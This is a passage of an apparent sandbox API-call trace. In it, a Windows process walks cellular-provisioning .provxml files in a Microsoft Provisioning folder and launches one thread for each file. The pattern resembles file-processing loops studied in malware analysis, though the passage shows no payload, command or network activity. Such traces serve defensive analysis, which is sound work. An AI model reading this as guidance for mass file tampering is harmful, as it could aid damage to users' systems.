ftLastWriteTime.dwLowDateTime=0x9039f4d9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="82__CE~1.PRO")) returned 1 [0183.118] wcscmp (_String1="82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0183.118] wcscmp (_String1="82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0183.118] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x3054f80 [0183.118] wcscpy (in: _Dest=0x3054f80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.118] wcscat (in: _Dest=0x3054f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.118] wcscat (in: _Dest=0x3054f80, _Source="82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\82__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0183.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054f80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x85c [0183.119] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9039f4d9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9039f4d9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9039f4d9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml", cAlternateFileName="83__CO~1.PRO")) returned 1 [0183.119] wcscmp (_String1="83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.119] wcscmp (_String1="83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.119] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe12e8 [0183.119] wcscpy (in: _Dest=0x2fe12e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.119] wcscat (in: _Dest=0x2fe12e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.119] wcscat (in: _Dest=0x2fe12e8, _Source="83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\83__Connections_Cellular_Areeba LTD (Cyprus)_i0$(__MVID)@WAP.provxml" [0183.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe12e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0183.120] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903c5745, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x903c5745, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x903c5745, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml", cAlternateFileName="84__CO~1.PRO")) returned 1 [0183.120] wcscmp (_String1="84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.120] wcscmp (_String1="84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.120] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x30564c8 [0183.120] wcscpy (in: _Dest=0x30564c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.120] wcscat (in: _Dest=0x30564c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.120] wcscat (in: _Dest=0x30564c8, _Source="84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\84__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i0$(__MVID)@WAP.provxml" [0183.120] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30564c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0183.121] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903c5745, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x903c5745, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x903c5745, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml", cAlternateFileName="85__CO~1.PRO")) returned 1 [0183.121] wcscmp (_String1="85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.121] wcscmp (_String1="85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.121] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x3056900 [0183.121] wcscpy (in: _Dest=0x3056900, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.121] wcscat (in: _Dest=0x3056900, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.121] wcscat (in: _Dest=0x3056900, _Source="85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\85__Connections_Cellular_Cytamobile-Vodafone (Cyprus)_i1$(__MVID)@WAP.provxml" [0183.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8 [0183.121] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903c5745, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x903c5745, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x903c5745, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="86__CE~1.PRO")) returned 1 [0183.121] wcscmp (_String1="86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0183.121] wcscmp (_String1="86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0183.121] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x126) returned 0x3054830 [0183.122] wcscpy (in: _Dest=0x3054830, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.122] wcscat (in: _Dest=0x3054830, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.122] wcscat (in: _Dest=0x3054830, _Source="86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\86__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0183.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0183.122] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903c5745, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x903c5745, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x903c5745, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="87__CO~1.PRO")) returned 1 [0183.122] wcscmp (_String1="87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.122] wcscmp (_String1="87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.122] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe1440 [0183.122] wcscpy (in: _Dest=0x2fe1440, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.122] wcscat (in: _Dest=0x2fe1440, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.123] wcscat (in: _Dest=0x2fe1440, _Source="87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\87__Connections_Cellular_O2 (Czech Republic)_i0$(__MVID)@WAP.provxml" [0183.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x620 [0183.123] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903eb9ac, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x903eb9ac, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x903eb9ac, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="88__CO~1.PRO")) returned 1 [0183.123] wcscmp (_String1="88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.123] wcscmp (_String1="88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.123] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x170) returned 0x2faafb8 [0183.123] wcscpy (in: _Dest=0x2faafb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.123] wcscat (in: _Dest=0x2faafb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.123] wcscat (in: _Dest=0x2faafb8, _Source="88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\88__Connections_Cellular_T-Mobile Czech Republic (Czech Republic)_i0$(__MVID)@WAP.provxml" [0183.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2faafb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4 [0183.124] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903eb9ac, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x903eb9ac, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x903eb9ac, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="89__CO~1.PRO")) returned 1 [0183.124] wcscmp (_String1="89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.124] wcscmp (_String1="89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.124] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x158) returned 0x3057008 [0183.124] wcscpy (in: _Dest=0x3057008, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.124] wcscat (in: _Dest=0x3057008, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.124] wcscat (in: _Dest=0x3057008, _Source="89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\89__Connections_Cellular_Vodafone CZ (Czech Republic)_i0$(__MVID)@WAP.provxml" [0183.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3057008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0183.125] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90116bb1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90116bb1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90116bb1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="8__CON~1.PRO")) returned 1 [0183.125] wcscmp (_String1="8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.125] wcscmp (_String1="8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.125] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x150) returned 0x2fe1598 [0183.125] wcscpy (in: _Dest=0x2fe1598, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.125] wcscat (in: _Dest=0x2fe1598, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.125] wcscat (in: _Dest=0x2fe1598, _Source="8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\8__Connections_Cellular_Hutchison - 3 (Australia)_i1$(__MVID)@WAP.provxml" [0183.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x624 [0183.126] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903eb9ac, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x903eb9ac, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x903eb9ac, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml", cAlternateFileName="90__CO~1.PRO")) returned 1 [0183.126] wcscmp (_String1="90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.126] wcscmp (_String1="90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.126] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2f96a28 [0183.126] wcscpy (in: _Dest=0x2f96a28, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.126] wcscat (in: _Dest=0x2f96a28, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.126] wcscat (in: _Dest=0x2f96a28, _Source="90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" [0183.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f96a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f8 [0183.127] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903eb9ac, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x903eb9ac, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90411c14, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml", cAlternateFileName="91__CO~1.PRO")) returned 1 [0183.127] wcscmp (_String1="91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0183.127] wcscmp (_String1="91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0183.127] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x136) returned 0x2f96b68 [0183.127] wcscpy (in: _Dest=0x2f96b68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0183.127] wcscat (in: _Dest=0x2f96b68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0183.127] wcscat (in: _Dest=0x2f96b68, _Source="91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 